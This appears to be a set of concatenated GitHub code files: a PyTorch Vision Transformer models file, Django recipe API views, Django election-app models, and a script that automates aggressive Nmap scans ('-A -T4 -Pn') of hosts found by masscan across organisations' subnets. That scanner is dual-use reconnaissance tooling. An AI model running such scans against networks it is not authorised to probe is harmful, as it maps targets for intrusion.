self.mode == self.DIAGONAL_4_DIRECTIONS_MODE:\n            x_lu = x_pad[:, :, : -self.half_shift * 2, : -self.half_shift * 2]\n            x_ru = x_pad[:, :, : -self.half_shift * 2, self.half_shift * 2:]\n            x_lb = x_pad[:, :, self.half_shift * 2:, : -self.half_shift * 2]\n            x_rb = x_pad[:, :, self.half_shift * 2:, self.half_shift * 2:]\n            x_cat = torch.cat([x, x_lu, x_ru, x_lb, x_rb], dim=1)\n\n        # 8 cardinal directions\n        if self.mode == self.CARDINAL_8_DIRECTIONS_MODE:\n            x_l2 = x_pad[:, :, self.half_shift: -\n                         self.half_shift, : -self.half_shift * 2]\n            x_r2 = x_pad[:, :, self.half_shift: -\n                         self.half_shift, self.half_shift * 2:]\n            x_t2 = x_pad[:, :, : -self.half_shift *\n                         2, self.half_shift: -self.half_shift]\n            x_b2 = x_pad[:, :, self.half_shift * 2:,\n                         self.half_shift: -self.half_shift]\n            x_lu = x_pad[:, :, : -self.half_shift * 2, : -self.half_shift * 2]\n            x_ru = x_pad[:, :, : -self.half_shift * 2, self.half_shift * 2:]\n            x_lb = x_pad[:, :, self.half_shift * 2:, : -self.half_shift * 2]\n            x_rb = x_pad[:, :, self.half_shift * 2:, self.half_shift * 2:]\n            x_cat = torch.cat([\n                x, x_l2, x_r2, x_t2, x_b2,\n                x_lu, x_ru, x_lb, x_rb], dim=1)\n\n        out = x_cat  # [b, c * self.expansion, h, w]\n\n        return out\n\n\nclass PatchShifting3d(PatchShifting2d):\n    def forward(\n            self,\n            x):\n\n        b, c, t, h, w = x.shape\n        x = x.view(b, c * t, h, w)\n        x = super().forward(x)\n        x = x.view(b, c * self.expansion, t, h, w)\n\n        return x\n\n\nclass ShiftedPatchEmbed2d(nn.Module):\n    def __init__(\n            self,\n            in_img_size,\n            in_channels,\n            embed_dim,\n            patch_size):\n\n        super().__init__()\n\n        self.in_img_size = in_img_size\n        self.in_channels = in_channels\n        self.embed_dim = embed_dim\n        self.patch_size = patch_size\n\n        self.patch_shifting = PatchShifting2d(patch_size)\n        self.patch_dim = (\n            self.in_channels *\n            self.patch_shifting.expansion *\n            (self.patch_size ** 2))\n\n        self.num_patches = (\n            (self.in_img_size[0] // self.patch_size) * (self.in_img_size[1] // self.patch_size))\n\n        self.patchify = nn.Sequential(\n            self.patch_shifting,\n            Rearrange(\n                'b c (h p1) (w p2) -> b (h w) (p1 p2 c)',\n                p1=self.patch_size,\n                p2=self.patch_size)\n        )\n        self.proj = nn.Linear(self.patch_dim, embed_dim)\n\n    def forward(\n            self,\n            x):\n\n        # x is shape [b, c, h, w]\n        x = self.patchify(x)\n        x = self.proj(x)\n\n        return x\n\n\nclass ShiftedPatchEmbed3d(nn.Module):\n    def __init__(\n            self,\n            in_img_size,\n            in_channels,\n            in_num_frames,\n            embed_dim,\n            patch_size,\n            tubelet_size):\n\n        super().__init__()\n\n        self.in_img_size = in_img_size\n        self.in_channels = in_channels\n        self.in_num_frames = in_num_frames\n        self.embed_dim = embed_dim\n        self.patch_size = patch_size\n        self.tubelet_size = tubelet_size\n\n        self.patch_shifting = PatchShifting3d(patch_size)\n        self.patch_dim = (\n            self.in_channels *\n            self.patch_shifting.expansion *\n            (self.patch_size ** 2) *\n            self.tubelet_size)\n\n        self.num_patches = ((self.in_num_frames // self.tubelet_size) * (\n            self.in_img_size[0] // self.patch_size) * (self.in_img_size[1] // self.patch_size))\n\n        self.patchify = nn.Sequential(\n            self.patch_shifting,\n            Rearrange(\n                'b c (t p0) (h p1) (w p2) -> b (t h w) (p0 p1 p2 c)',\n                p0=self.tubelet_size,\n                p1=self.patch_size,\n                p2=self.patch_size)\n        )\n        self.proj = nn.Linear(self.patch_dim, self.embed_dim)\n\n    def forward(\n            self,\n            x):\n\n        # x is shape [b, c, t, h, w]\n        x = self.patchify(x)\n        x = self.proj(x)\n\n        return x\n\n\nclass PatchEmbed2d(nn.Module):\n    def __init__(\n            self,\n            in_img_size,\n            in_channels,\n            patch_height,\n            patch_width,\n            embed_dim):\n\n        super().__init__()\n\n        self.in_img_size = in_img_size\n        self.in_channels = in_channels\n        self.patch_height = patch_height\n        self.patch_width = patch_width\n        self.patch_dim = in_channels * patch_height * patch_width\n        self.embed_dim = embed_dim\n\n        self.num_patches = (\n            (self.in_img_size[0] // patch_height) * (self.in_img_size[1] // patch_width))\n\n        self.patchify = Rearrange(\n            'b c (h p1) (w p2) -> b (h w) (p1 p2 c)',\n            p1=self.patch_height,\n            p2=self.patch_width)\n        self.proj = nn.Linear(self.patch_dim, self.embed_dim)\n\n    def forward(\n            self,\n            x):\n\n        # x is shape [b, c, h, w]\n        x = self.patchify(x)\n        x = self.proj(x)\n\n        return x\n\n\nclass PatchEmbed3d(nn.Module):\n    def __init__(\n            self,\n            in_img_size,\n            in_channels,\n            in_num_frames,\n            patch_height,\n            patch_width,\n            tubelet_size,\n            embed_dim):\n\n        super().__init__()\n\n        self.in_img_size = in_img_size\n        self.in_channels = in_channels\n        self.in_num_frames = in_num_frames\n        self.patch_height = patch_height\n        self.patch_width = patch_width\n        self.tubelet_size = tubelet_size\n        self.patch_dim = in_channels * patch_height * patch_width * tubelet_size\n        self.embed_dim = embed_dim\n\n        self.num_patches = ((in_num_frames // tubelet_size) * (\n            self.in_img_size[0] // patch_height) * (self.in_img_size[1] // patch_width))\n\n        self.patchify = Rearrange(\n            'b c (t p0) (h p1) (w p2) -> b (t h w) (p0 p1 p2 c)',\n            p0=self.tubelet_size,\n            p1=self.patch_height,\n            p2=self.patch_width)\n        self.proj = nn.Linear(self.patch_dim, self.embed_dim)\n\n    def forward(\n            self,\n            x):\n\n        # x is shape [b, c, t, h, w]\n        x = self.patchify(x)\n        x = self.proj(x)\n\n        return x\n\n\nclass PreNorm(nn.Module):\n    def __init__(\n            self,\n            num_tokens,\n            dim,\n            fn):\n\n        super().__init__()\n\n        self.dim = dim\n        self.num_tokens = num_tokens\n        self.norm = nn.LayerNorm(dim)\n        self.fn = fn\n\n    def forward(\n            self,\n            x,\n            **kwargs):\n\n        return self.fn(self.norm(x), **kwargs)\n\n\nclass TransformerInnerMlp(nn.Module):\n    def __init__(\n            self,\n            dim,\n            num_patches,\n            hidden_dim,\n            dropout=0.0):\n\n        super().__init__()\n\n        self.dim = dim\n        self.hidden_dim = hidden_dim\n        self.num_patches = num_patches\n\n        self.net = nn.Sequential(\n            nn.Linear(dim, hidden_dim),\n            nn.GELU(),\n            nn.Dropout(dropout),\n            nn.Linear(hidden_dim, dim),\n            nn.Dropout(dropout)\n        )\n\n    def forward(\n            self,\n            x):\n\n        return self.net(x)\n\n\nclass Attention(nn.Module):\n    def __init__(\n            self,\n            dim,\n            num_patches,\n            num_heads=8,\n            head_dim=64,\n            dropout=0.0,\n            is_lsa=False):\n\n        super().__init__()\n        inner_dim = head_dim * num_heads\n        project_out = not (num_heads == 1 and head_dim == dim)\n        self.num_patches = num_patches\n        self.heads = num_heads\n        self.scale = head_dim ** -0.5\n        self.dim = dim\n        self.inner_dim = inner_dim\n        self.softmax = nn.Softmax(dim=-1)\n        self.to_qkv = nn.Linear(self.dim, self.inner_dim * 3, bias=False)\n\n        self.projection = nn.Sequential(\n            nn.Linear(self.inner_dim, self.dim),\n            nn.Dropout(dropout)\n        ) if project_out else nn.Identity()\n\n        if is_lsa:\n            self.scale = nn.Parameter(self.scale * torch.ones(num_heads))\n            self.mask = torch.eye(self.num_patches + 1, self.num_patches + 1)\n            self.mask = torch.nonzero((self.mask == 1), as_tuple=False)\n        else:\n            self.mask = None\n\n    def forward(\n            self,\n            x):\n\n        b, n, _, h = *x.shape, self.heads\n        qkv = self.to_qkv(x).chunk(3, dim=-1)\n        q, k, v = map(lambda t: rearrange(t, 'b n (h d) -> b h n d', h=h), qkv)\n\n        if self.mask is None:\n            dots = torch.einsum(\n                'b h i d, b h j d -> b h i j', q, k) * self.scale\n        else:\n            scale = self.scale\n            dots = torch.mul(\n                torch.einsum('b h i d, b h j d -> b h i j', q, k),\n                scale.unsqueeze(0).unsqueeze(-1).unsqueeze(-1).expand((b, h, 1, 1)))\n            mask_value = max_neg_value(dots)\n            dots[:, :, self.mask[:, 0], self.mask[:, 1]] = mask_value\n\n        attn = self.softmax(dots)\n        out = torch.einsum('b h i j, b h j d -> b h i d', attn, v)\n\n        out = rearrange(out, 'b h n d -> b n (h d)')\n\n        return self.projection(out)\n\n    def get_num_flops(\n            self):\n        flops = 0\n        if not self.is_coord:\n            flops += self.dim * self.inner_dim * 3 * (self.num_patches + 1)\n        else:\n            flops += (self.dim + 2) * self.inner_dim * 3 * self.num_patches\n            flops += self.dim * self.inner_dim * 3\n\n        return flops\n\n\nclass Transformer(nn.Module):\n    def __init__(\n            self,\n            dim,\n            num_patches,\n            depth,\n            num_heads,\n            head_dim,\n            mlp_dim_ratio,\n            dropout=0.0,\n            stochastic_depth=0.0,\n            is_lsa=False):\n\n        super().__init__()\n        self.layers = nn.ModuleList([])\n        self.scale = {}\n\n        for _ in range(depth):\n            self.layers.append(nn.ModuleList([\n                PreNorm(\n                    num_tokens=num_patches,\n                    dim=dim,\n                    fn=Attention(\n                        dim=dim,\n                        num_patches=num_patches,\n                        num_heads=num_heads,\n                        head_dim=head_dim,\n                        dropout=dropout,\n                        is_lsa=is_lsa)),\n                PreNorm(\n                    num_tokens=num_patches,\n                    dim=dim,\n                    fn=TransformerInnerMlp(\n                        dim=dim, num_patches=num_patches,\n                        hidden_dim=dim * mlp_dim_ratio,\n                        dropout=dropout))\n            ]))\n\n        self.drop_path = DropPath(\n            stochastic_depth) if stochastic_depth > 0 else nn.Identity()\n\n    def forward(\n            self,\n            x):\n\n        for i, (attn, ff) in enumerate(self.layers):\n            x = self.drop_path(attn(x)) + x\n            x = self.drop_path(ff(x)) + x\n            self.scale[str(i)] = attn.fn.scale\n\n        return x\n\n\nclass ViTEncoder(nn.Module):\n    def __init__(\n            self,\n            *,\n            in_img_size,\n            in_channels=3,\n            patch_size,\n            spatio_temporal=False,\n            in_num_frames=None,\n            tubelet_size=None,\n            embed_dim,\n            depth,\n            num_heads,\n            mlp_dim_ratio,\n            head_dim=16,\n            dropout=0.0,\n            pos_embed_dropout=0.0,\n            stochastic_depth=0.0,\n            class_embed=False,\n            is_lsa=False,\n            is_spt=False):\n\n        super().__init__()\n\n        in_img_size = make_pair_shape(in_img_size)\n        patch_height, patch_width = make_pair_shape(patch_size)\n        self.embed_dim = embed_dim\n        self.class_embed = bool(class_embed)\n        self.spatio_temporal = spatio_temporal\n        self.tublet_size = tubelet_size\n\n        if not is_spt:\n            if self.spatio_temporal:\n                self.patch_embedder = PatchEmbed3d(\n                    in_img_size=in_img_size,\n                    in_channels=in_channels,\n                    in_num_frames=in_num_frames,\n                    patch_height=patch_height,\n                    patch_width=patch_width,\n                    tubelet_size=tubelet_size,\n                    embed_dim=embed_dim)\n            else:\n                self.patch_embedder = PatchEmbed2d(\n                    in_img_size=in_img_size,\n                    in_channels=in_channels,\n                    patch_height=patch_height,\n                    patch_width=patch_width,\n                    embed_dim=embed_dim)\n        else:\n            assert patch_height == patch_width\n            patch_size = patch_width\n            if self.spatio_temporal:\n                self.patch_embedder = ShiftedPatchEmbed3d(\n                    in_img_size=in_img_size,\n                    in_channels=in_channels,\n                    in_num_frames=in_num_frames,\n                    embed_dim=self.embed_dim,\n                    patch_size=patch_size,\n                    tubelet_size=tubelet_size)\n            else:\n                self.patch_embedder = ShiftedPatchEmbed2d(\n                    in_img_size=in_img_size,\n                    in_channels=in_channels,\n                    embed_dim=self.embed_dim,\n                    patch_size=patch_size)\n        self.num_patches = self.patch_embedder.num_patches\n        self.patch_dim = self.patch_embedder.patch_dim\n\n        self.pos_embedding = nn.Parameter(\n            torch.randn(1, self.num_patches + self.class_embed, self.embed_dim))\n        if self.class_embed:\n            self.class_token = nn.Parameter(torch.randn(1, 1, self.embed_dim))\n        self.embed_dropout = nn.Dropout(pos_embed_dropout)\n\n        self.transformer = Transformer(\n            self.embed_dim,\n            self.num_patches,\n            depth,\n            num_heads,\n            head_dim,\n            mlp_dim_ratio,\n            dropout,\n            stochastic_depth,\n            is_lsa=is_lsa)\n        self.norm = nn.LayerNorm(self.embed_dim)\n\n    def forward(\n            self,\n            x,\n            masked_indices=None):\n\n        x = self.patch_embedder(x)\n        b, n, d = x.shape\n        \n        if masked_indices is not None:\n            x = torch.gather(\n                x, dim=1, index=masked_indices.unsqueeze(-1).repeat(1, 1, d)) \n\n        if self.class_embed:\n            class_tokens = repeat(self.class_token, '() n d -> b n d', b=b)\n            x = torch.cat((class_tokens, x), dim=1)\n\n        x = x + self.pos_embedding\n\n        x = self.embed_dropout(x)\n        x = self.transformer(x)\n        x = self.norm(x)\n\n        if self.class_embed:\n            # remove cls token\n            x = x[:, 1:, :]\n\n        return x\n\n\nclass ViTDecoder(nn.Module):\n    def __init__(\n            self,\n            *,\n            in_latent_dim,\n            in_num_patches,\n        out_patch_dim,\n            embed_dim,\n            depth,\n            num_heads,\n            mlp_dim_ratio,\n            head_dim=16,\n            dropout=0.0,\n            pos_embed_dropout=0.0,\n            stochastic_depth=0.0,\n            class_embed=False,\n            use_masking=False,\n            is_lsa=False):\n\n        super().__init__()\n\n        self.out_patch_dim = out_patch_dim\n        self.in_latent_dim = in_latent_dim\n        self.in_num_patches = in_num_patches\n\n        self.input_dim = in_latent_dim\n        self.embed_dim = embed_dim\n        self.class_embed = bool(class_embed)\n        self.use_masking = bool(use_masking)\n\n        self.encoder_to_decoder = nn.Linear(\n            self.input_dim, self.embed_dim, bias=True)\n\n        if self.class_embed:\n            self.class_token = nn.Parameter(torch.randn(1, 1, self.embed_dim))\n        if self.use_masking:\n            self.mask_token = nn.Parameter(torch.zeros(1, 1, self.embed_dim))\n        self.pos_embedding = nn.Parameter(\n            torch.randn(1, self.in_num_patches + self.class_embed + self.use_masking, self.embed_dim))\n        self.embed_dropout = nn.Dropout(pos_embed_dropout)\n\n        self.transformer = Transformer(\n            self.embed_dim,\n            self.in_num_patches,\n            depth,\n            num_heads,\n            head_dim,\n            mlp_dim_ratio,\n            dropout,\n            stochastic_depth,\n            is_lsa=is_lsa)\n\n        self.norm = nn.LayerNorm(self.embed_dim)\n        self.pred = nn.Linear(\n            self.embed_dim, self.out_patch_dim, bias=True)  # decoder to patch\n\n    def forward(\n            self,\n            x,\n            unshuffle_indices=None):\n\n        # [b, n, latent_dim]\n        x = self.encoder_to_decoder(x)\n        b, n, d = x.shape\n\n        if self.use_masking:\n            x = torch.cat((x, self.mask_token.expand(b, -1, -1)), dim=1)\n            x = torch.gather(\n                x, dim=1, index=unshuffle_indices.unsqueeze(-1).repeat(1, 1, d))  # unshuffle\n\n        if self.class_embed:\n            class_tokens = repeat(self.class_token, '() n d -> b n d', b=b)\n            x = torch.cat((class_tokens, x), dim=1)\n\n        x = x + self.pos_embedding\n        x = self.embed_dropout(x)\n        x = self.transformer(x)\n        x = self.norm(x)  # [b, n, d]\n        x = self.pred(x)  # [b, n, c * p0 * p1 * p2]\n\n        if self.class_embed:\n            # remove cls token\n            x = x[:, 1:, :]\n\n        return x\n\n\nclass ViTAutoEncoder(nn.Module):\n    def __init__(\n            self,\n            *,\n            in_img_size,\n            in_channels=3,\n            patch_size,\n            spatio_temporal=False,\n            in_num_frames=None,\n            tubelet_size=None,\n            encoder_embed_dim,\n            encoder_depth,\n            encoder_num_heads,\n            decoder_embed_dim,\n            decoder_depth,\n            decoder_num_heads,\n            mlp_dim_ratio,\n            head_dim=16,\n            dropout=0.0,\n            pos_embed_dropout=0.0,\n            stochastic_depth=0.0,\n            class_embed=False,\n            is_lsa=False,\n            is_spt=False,\n            use_masking=False):\n\n        super().__init__()\n\n        self.use_masking = use_masking\n        if self.use_masking:\n            self.mask_token = nn.Parameter(\n                torch.zeros(1, 1, decoder_embed_dim))\n\n        self.encoder = ViTEncoder(\n            in_img_size=in_img_size,\n            in_channels=in_channels,\n            patch_size=patch_size,\n            spatio_temporal=spatio_temporal,\n            in_num_frames=in_num_frames,\n            tubelet_size=tubelet_size,\n            embed_dim=encoder_embed_dim,\n            depth=encoder_depth,\n            num_heads=encoder_num_heads,\n            mlp_dim_ratio=mlp_dim_ratio,\n            head_dim=head_dim,\n            dropout=dropout,\n            pos_embed_dropout=pos_embed_dropout,\n            stochastic_depth=stochastic_depth,\n            class_embed=class_embed,\n            is_lsa=is_lsa,\n            is_spt=is_spt)\n\n        self.decoder = ViTDecoder(\n            in_latent_dim=encoder_embed_dim,\n            in_num_patches=self.encoder.num_patches,\n            out_patch_dim=self.encoder.patch_dim,\n            embed_dim=decoder_embed_dim,\n            depth=decoder_depth,\n            num_heads=decoder_num_heads,\n            mlp_dim_ratio=mlp_dim_ratio,\n            head_dim=head_dim,\n            dropout=dropout,\n            pos_embed_dropout=pos_embed_dropout,\n            stochastic_depth=stochastic_depth,\n            class_embed=class_embed,\n            use_masking=use_masking,\n            is_lsa=is_lsa)\n\n    def forward(\n            self,\n            x,\n            mask_info=None):\n\n        if self.use_masking:\n            _, _, unshuffle_indices, masked_indices = mask_info\n        else:\n            unshuffle_indices, masked_indices = None, None\n\n        x_patched = self.encoder.patch_embedder.patchify(x)\n        latent_patched = self.encoder(x, masked_indices=masked_indices)\n        x_hat_patched = self.decoder(\n            latent_patched, unshuffle_indices=unshuffle_indices)\n\n        return latent_patched, x_patched, x_hat_patched\n\n\nclass ViTClassifierHead(nn.Module):\n    def __init__(\n            self,\n            input_dim,\n            num_classes):\n\n        super().__init__()\n\n        self.input_dim = input_dim\n        self.num_classes = num_classes\n\n        self.net = nn.Sequential(\n            nn.LayerNorm(self.input_dim),\n            nn.Linear(self.input_dim, self.num_classes)\n        )\n\n    def forward(\n            self,\n            x):\n\n        return self.net(x)\n\n\nclass ViTClassifier(nn.Module):\n    def __init__(\n            self,\n            *,\n            in_img_size,\n            in_channels=3,\n            patch_size,\n            spatio_temporal=False,\n            in_num_frames=None,\n            tubelet_size=None,\n            num_classes,\n            encoder_embed_dim,\n            encoder_depth,\n            encoder_num_heads,\n            mlp_dim_ratio,\n            head_dim=16,\n            dropout=0.0,\n            pos_embed_dropout=0.0,\n            head_dropout=0.0,\n            stochastic_depth=0.0,\n            class_embed=False,\n            is_lsa=False,\n            is_spt=False,\n            use_masking=False):\n            \n        super().__init__() \n        \n        self.use_masking = use_masking\n\n        self.encoder = ViTEncoder(\n            in_img_size=in_img_size,\n            in_channels=in_channels,\n            patch_size=patch_size,\n            spatio_temporal=spatio_temporal,\n            in_num_frames=in_num_frames,\n            tubelet_size=tubelet_size,\n            embed_dim=encoder_embed_dim,\n            depth=encoder_depth,\n            num_heads=encoder_num_heads,\n            mlp_dim_ratio=mlp_dim_ratio,\n            head_dim=head_dim,\n            dropout=dropout,\n            pos_embed_dropout=pos_embed_dropout,\n            stochastic_depth=stochastic_depth,\n            class_embed=class_embed,\n            is_lsa=is_lsa,\n            is_spt=is_spt)\n            \n        self.head_norm = nn.LayerNorm(encoder_embed_dim)\n        self.head_dropout = nn.Dropout(head_dropout)\n        self.head = ViTClassifierHead(\n            input_dim=encoder_embed_dim,\n            num_classes=num_classes)\n\n    def forward(\n            self,\n            x,\n            mask_info):\n            \n        if self.use_masking:\n            _, _, _, masked_indices = mask_info\n        else:\n            masked_indices = None\n\n        latent = self.encoder(x, masked_indices)\n        \n        latent = latent.mean(dim=1)  # patch-wise average pooling\n        latent = self.head_norm(latent)\n        latent = self.head_dropout(latent)\n\n        pred = self.head(latent)\n\n        return pred\n","repo_name":"man2machine/cs330-final-project-2022","sub_path":"cs330_project/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":26257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9981573532","text":"from django.http import JsonResponse\nfrom .models import Recipe\nfrom .serializers import RecipeSerializer\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\n@api_view(['GET','POST'])\ndef recipes_list(request, format=None):\n\n    if request.method == 'GET':\n        drinks_list = Recipe.objects.all()\n        serializer = RecipeSerializer(drinks_list, many=True)\n        return Response(serializer.data)\n\n    if request.method == 'POST':\n        serializer = RecipeSerializer(data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n@api_view(['GET','PUT','DELETE'])\ndef recipe_detail(request, id,format=None):\n\n    try:\n        recipe = Recipe.objects.get(pk=id)\n    except Recipe.DoesNotExist:\n        return Response(status=status.HTTP_404_NOT_FOUND)\n\n    if request.method == 'GET':\n        serializer = RecipeSerializer(recipe)\n        return Response(serializer.data)\n    elif request.method == 'PUT':\n        serializer = RecipeSerializer(recipe, data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n    elif request.method == 'DELETE':\n        recipe.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n\n\n","repo_name":"FeTodeschini/Python","sub_path":"4-RESTAPI/veganrecipes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70688815719","text":"#!/usr/local/bin/python3\n\"\"\" This script is designed to take the output of the Masscan.py script and read the text files in order to perform an Nmap scan on each IP address individually. \"\"\"\n\nimport logging\nimport logging.config\nfrom dict_logging import LOGGING_CONFIG\nimport subprocess\nimport shutil\nimport time\nimport os\nimport ipaddress\nimport glob\nimport traceback\nimport copy\nfrom config import ip_splitter, nmap_bin_path, folder, root_path\nfrom Parse_Nmap import parser\nfrom libnmap.parser import NmapParser, NmapParserException\nimport argparse\n\n\"\"\"\nAuthors: David F. and Yaasir M.B.\nDate: 6/30/2020\nThis is a script that performs an Nmap scan on all hosts based on a scan from the Scan_Masscan.py script and saves the output as an xml file. \nAfter the scan is complete, it calls the Parse_Nmap.py script to parse the data and pushes the parsed data up to a database.\n\n\"\"\"\n\nlogging.config.dictConfig(LOGGING_CONFIG)\n\nsysLog = logging.getLogger('SysLogger')\nfileLog = logging.getLogger('timedLogger')\n\ndef nmap_main():\n\n    # Org_files gets all text files in the root path and places them in a list.\n    org_files = glob.glob(root_path + \"*.txt\")\n\n    # This for loop is looping through all files in the org_files list\n    for filename in org_files:\n    # Here we're opening the individual files and reading from them\n        with open(filename) as f:\n\n            org_name =  (os.path.splitext(os.path.basename(f.name))[0])\n            # The path to where the org files live.\n            org_path = root_path + org_name\n\n            # In this for loop we're looping through each line in the file we opened in the above loop.\n            # The line variable is each line or subnet that's being looped over in the opened file.\n            for line in f:\n                # Splitting the subnet's octets.\n                try:\n                    subnet_octets = ip_splitter(line)\n                except:\n                    fileLog.error(\"There was an error: %s\", traceback.format_exc())\n                    continue\n\n                if len(subnet_octets) == 5:\n                    # Path to where masscan text files will be saved\n                    masscan_path = org_path + '/' + subnet_octets[0] + '-' + subnet_octets[1] + '/' + subnet_octets[2] + \"/Masscan_Results/\"                    \n                else:\n                    continue\n                \n                # If the script finds an 'Unscanned_IPs.txt' file, all the IPs in that file get added to \n                # this list so they can get scanned first during the next round of scanning. \n                ips_from_interrupted_scan = []\n                try:\n                    with open(masscan_path + 'Unscanned_Ips.txt', 'r') as nmap_unscanned:\n                        ips_from_interrupted_scan =  [line.strip() for line in nmap_unscanned]\n                        fileLog.debug('Reading the Unscanned Ips file was found.')\n                        sysLog.critical('There was an Unscanned_Ips file detected from the last scan in: ' + masscan_path)                           \n                    os.remove(masscan_path + 'Unscanned_Ips.txt')\n                    fileLog.debug('Deleted the Unscanned Ips file.')\n\n                except FileNotFoundError:\n                    fileLog.debug('No Unscanned Ips file was found.')\n                    pass\n                except:\n                    fileLog.error(\"There was an error: %s\", traceback.format_exc())\n                    pass\n\n                # masscan_files gets all text files in the masscan path and puts them in a list.\n                masscan_files = glob.glob(masscan_path + \"Masscan_*.txt\")\n                \n                for file_to_scan in masscan_files:\n\n                    # Opening the text files that will be passed to Nmap for a scan to be performed.\n                    with open (file_to_scan) as lines:\n                        up_ips = [line.strip() for line in lines]\n                    if ips_from_interrupted_scan:\n                        up_ips[0:0] = ips_from_interrupted_scan\n                    # If the up_ips list is empty, pass\n                    if not up_ips:\n                        fileLog.debug('There were no up hosts in the subnet: ' + line )\n                        continue\n                    # Ips that havn't been scanned yet are added to the 'unscanned_ips' list, once they get scanned they are then removed from this list \n                    # and added to the 'scanned_ips' list. We didn't want to edit the up_ips list directly since that could cause potential issues.                   \n                    unscanned_ips = copy.copy(up_ips)\n                    scanned_ips = []\n                    fileLog.info(\"Nmap will scan \"+ str(len(up_ips)) + \" IPs.\")\n\n                    for ip in up_ips:\n\n                        ip_octets = ip_splitter(ip)\n\n                        vlan_path = org_path + '/' + ip_octets[0] + '-' + ip_octets[1] + '/' + ip_octets[2] + '/'\n\n                        host_octet = ip_octets[3]\n                        host_path = vlan_path + host_octet\n                        fileLog.debug('Host path for this Ip is ' + host_path)\n                        try:\n                          folder(host_path)\n                        except:\n                          fileLog.error('Failed to create host_path: ' + host_path)\n                          pass\n\n                        # The unix_time variable is what's being used to name the nmap xml and masscan txt files.\n                        unix_time = int(time.time())\n                        # Path where the nmap scan will be saved.\n                        output_path = host_path + '/' + 'Nmap_' + str(unix_time) + '.xml'\n                        fileLog.debug('The Nmap output path for this scan is ' + output_path)\n                        \n                        try:\n                            nmap_command =   \"nmap -A -T4 -Pn --disable-arp-ping -iL \" + file_to_scan + \" -oX \" + output_path\n                            fileLog.debug('Nmap command: ' + nmap_command)\n                            nmap = subprocess.check_output(nmap_command, stderr=subprocess.STDOUT, shell=True)\n                            fileLog.info('This IP was scanned successfully: ' + ip)\n                            print(nmap)\n                            \n                            # Define the path to the xml file you want to parse.\n                            file_to_parse = output_path\n                            parser(file_to_parse)\n                            fileLog.info(file_to_parse + 'was parsed and pushed up to the database successfully.')\n                            print('The file has been parsed and pushed up to the database successfully.')\n\n                            scanned_ips.append(ip)\n                            # Nmap command was successful, so the ip is moved to the scanned_ips list.\n                            unscanned_ips.pop(0)\n                            with open(masscan_path + 'Unscanned_Ips.txt', 'w') as unscanned_file:\n                                unscanned_ips_set = set()\n                                unscanned_ips_set.update(unscanned_ips)\n                                for item in unscanned_ips_set:\n                                    unscanned_file.write(\"%s\\n\" % item)\n                        except:\n                            fileLog.error(\"There was an error: %s\", traceback.format_exc())\n                            pass\n                    completed_path = masscan_path + 'Completed/'\n                    shutil.move(file_to_scan, completed_path)\n","repo_name":"Yaasirmb/automated_network_scanner","sub_path":"Scan_Nmap.py","file_name":"Scan_Nmap.py","file_ext":"py","file_size_in_byte":7547,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"69850356202","text":"from django.db import models\n\n\nclass candidate(models.Model):\n    name = models.CharField(max_length = 50, primary_key = True)\n    party = models.CharField(max_length = 20)\n    description = models.TextField()\n    pic = models.TextField()\n\n\nclass state_info(models.Model):\n    state = models.CharField(max_length = 50, primary_key = True)\n    state_abbr = models.CharField(max_length = 20)\n    state_vote_num = models.IntegerField()\n    has_votes_right_population = models.IntegerField()\n    in_votes_ages_population = models.IntegerField()\n    prisoner_population = models.IntegerField()\n\n\nclass state_vote(models.Model):\n    state = models.ForeignKey('state_info', on_delete = models.SET_NULL, null = True)\n    candidate = models.ForeignKey('candidate', on_delete = models.SET_NULL, null = True)\n    votes = models.IntegerField()\n\n\nclass state_total_vote(models.Model):\n    state = models.OneToOneField('state_info', primary_key = True, on_delete = models.CASCADE)\n    votes = models.IntegerField()\n\n\nclass history_vote_record(models.Model):\n    record_year = models.IntegerField()\n    state = models.ForeignKey('state_info', on_delete = models.SET_NULL, null = True)\n    party = models.CharField(max_length = 20)\n    votes = models.IntegerField()\n    \n    class Meta:\n        db_tablespace = \"tables\"\n\n\nclass tweet(models.Model):\n    create_time = models.IntegerField()\n    text = models.TextField()\n    likes = models.IntegerField()\n    retweet = models.IntegerField()\n    username = models.CharField(max_length = 50)\n    user_screen_name = models.CharField(max_length = 50)\n\n\nclass debate(models.Model):\n    title = models.TextField()\n    pros = models.ForeignKey('candidate', on_delete = models.SET_NULL, null = True, related_name='pros')\n    defense = models.ForeignKey('candidate', on_delete = models.SET_NULL, null = True, related_name='offense')\n    duration = models.IntegerField()  # second\n    voice_location = models.TextField()\n\n\nclass debate_script(models.Model):\n    debate_id = models.ForeignKey('debate', on_delete = models.SET_NULL, null = True)\n    step = models.IntegerField()\n    speaker = models.CharField(max_length = 50)\n    text = models.TextField()\n    time_stamp = models.IntegerField()\n\n\nclass user(models.Model):\n    name = models.CharField(max_length = 50, primary_key = True)\n    pwd = models.CharField(max_length = 40)\n    state = models.ForeignKey('state_info', on_delete = models.SET_NULL, null = True)\n    authority = models.IntegerField()\n    voted = models.ForeignKey('candidate', on_delete = models.SET_NULL, blank = True, null = True)\n\n\nclass user_like_tweet(models.Model):\n    name = models.CharField(max_length = 50)\n    tweet_id = models.IntegerField()\n\n\nclass login_log(models.Model):\n    timestamp = models.IntegerField()\n    content = models.TextField()\n","repo_name":"yang-fubing/Asafarr-Database-Web-USelection","sub_path":"project/votedb/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
